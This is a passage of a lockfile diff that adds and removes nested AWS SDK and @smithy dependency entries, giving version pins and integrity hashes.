"sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw=="], @@ -7735,7 +7545,11 @@ "@aws-crypto/util/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@2.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA=="], - "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], + "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + + "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], @@ -7749,28 +7563,26 @@ "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="], + + "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="], + + "@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.948.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-iWjchXy8bIAVBUsKnbfKYXRwhLgRg3EqCQ5FTr3JbR+QR75rZm4ZOYXlvHGztVTmtAZ+PQVA1Y4zO7v7N87C0A=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - - "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - "@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="], "@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-eFndh1WEK5YMUYvy3lPlVmYY/fZcQE1D8oSf41Id2vCeIkKJXPcYDCZD+4+xViI6b1XSd7tE+s5AmXzz5ilabQ=="], @@ -7791,7 +7603,11 @@ "@aws-sdk/client-cognito-identity/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="], - "@aws-sdk/client-kendra/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], + "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + + "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], @@ -7805,10 +7621,18 @@ "@aws-sdk/client-kendra/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/client-kendra/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@aws-sdk/client-kendra/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@aws-sdk/client-kendra/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/client-kendra/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@aws-sdk/client-kendra/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/client-kendra/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@aws-sdk/client-kendra/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@aws-sdk/client-kendra/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], @@ -7873,92 +7697,126 @@ "@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/core": ["@aws-sdk/core@3.758.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-0RswbdR9jt/XKemaLNuxi2gGr4xGlHyGxkTdhSQzCyUe9A9OPCoLl3rIESRguQEech+oJnbHk/wuiwHqTuP9sg=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.723.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZhEfvUwNliOQROcAk34WJWVYTlTa4694kSVhDSjW6lE1bMataPnIN8A0ycukEzBXmd8ZSoBcQLn6lKGl7XIJ5w=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider": ["@smithy/node-config-provider@4.0.1", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-8mRTjvCtVET8+rxvmzRNRR0hH2JjV0DFOmwXPrISmTIJEfnCBugpYYGAsCj8t41qd+RB5gbheSQ/6aKZCQvFLQ=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-config-provider": ["@smithy/util-config-provider@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-L1RBVzLyfE8OXH+1hsJ8p+acNUSirQnWQ6/EgpchV88G6zGBTDPdXiiExei6Z1wR2RxYvxY/XLw6AMNCCt8H3w=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="], + "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, 